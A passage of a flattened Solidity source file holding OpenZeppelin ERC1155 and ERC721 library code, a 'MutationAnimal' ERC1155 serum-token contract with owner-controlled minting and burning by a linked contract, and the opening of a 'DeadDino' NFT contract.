*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// File: MutationAnimalToken.sol
contract MutationAnimal is ERC1155, Ownable {
using Strings for uint256;
//----Event----
event SetBaseURI(string indexed _baseURI);
//----Struct----
struct MutationDetail{
uint256 animalLevel;
uint256 animalType;
}
//-----Variable-----
string private _name;
string private _symbol;
address public dinoContract;
string private baseURI;
mapping(uint256 => bool) public validAnimalTypes;
mapping (uint256 => MutationDetail) public mutationDetails;
constructor(
string memory _mutantName,
string memory _mutantSymbol,
string memory _baseURI
) ERC1155(_baseURI) {
_name = _mutantName;
_symbol = _mutantSymbol;
baseURI = _baseURI;
validAnimalTypes[0] = true;
validAnimalTypes[1] = true;
validAnimalTypes[2] = true;
emit SetBaseURI(baseURI);
}
//------Admin-----
///@notice mint the nft in batch
///@param ids: ids tokens id to mint
///@param amounts: amounts of tokens to mint
///@param levels: level of tokens to mint
///@param types: types of tokens to mint
function mintBatch(uint256[] memory ids, uint256[] memory amounts, uint256[] memory levels, uint256[] memory types)
external
onlyOwner
{
_mintBatch(owner(), ids, amounts, "");
for(uint256 i=0; i<ids.length; i++){
MutationDetail memory currentMutationDetail = MutationDetail({
animalType: types[i],
animalLevel: levels[i]
});
mutationDetails[ids[i]] = currentMutationDetail;
}
}
///@notice add valid mutation animal types
///@param ids ids to add
function addValidMutationAnimals(uint256[] memory ids)
external
onlyOwner
{
for(uint256 i=0; i<ids.length; i++){
validAnimalTypes[ids[i]] = true;
}
}
///@notice remove valid mutation animal types
///@param ids ids to remove
function removeValidMutationAnimals(uint256[] memory ids)
external
onlyOwner
{
for(uint256 i=0; i<ids.length; i++){
validAnimalTypes[ids[i]] = false;
}
}
///@notice set the dino contract address
///@param dinoContractAddress contract address to set for the dino
function setdinoContractAddress(address dinoContractAddress)
external
onlyOwner
{
dinoContract = dinoContractAddress;
}
///@notice update base uri for the nft
///@param _baseURI base uri for the nft
function updateBaseUri(string memory _baseURI) external onlyOwner {
baseURI = _baseURI;
emit SetBaseURI(baseURI);
}
//---User-----
///@notice called by the dino contract to burn the mutant animal
///@param typeId type of animal to burn i.e. animal nft id
///@param burnTokenAddress token mutator
function burnSerumForAddress(uint256 typeId, address burnTokenAddress)
external
{
require(msg.sender == dinoContract, "AnimalNFT: Cannot mutate other than Dino!");
require(validAnimalTypes[typeId], "AnimalNFT: Cannot mutate from non-valid serum!");
_burn(burnTokenAddress, typeId, 1);
}
//---View---
function getChemicalLevel(uint256 _id) external view returns(uint256){
return mutationDetails[_id].animalLevel;
}
function getChemicalType(uint256 _id) external view returns(uint256){
return mutationDetails[_id].animalType;
}
function uri(uint256 typeId)
public
view
override
returns (string memory)
{
require(
validAnimalTypes[typeId],
"URI requested for invalid serum type"
);
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, typeId.toString(), '.json'))
: baseURI;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: DeadDino.sol
pragma solidity 0.8.11;
interface IBone20 {
// called when minting many NFTs
// updated_amount = (balanceOf(user) * base_rate * delta / 86400)
function updateRewardOnMint(address _user) external;
// called on transfer
function updateReward(address _from, address _to) external;
function getReward(address _to) external;
function burn(address _from, uint256 _amount) external;
function getTotalClaimable(address _user) external view returns(uint256);
}
contract DeadDino is ERC721, Ownable {
using Strings for uint256;
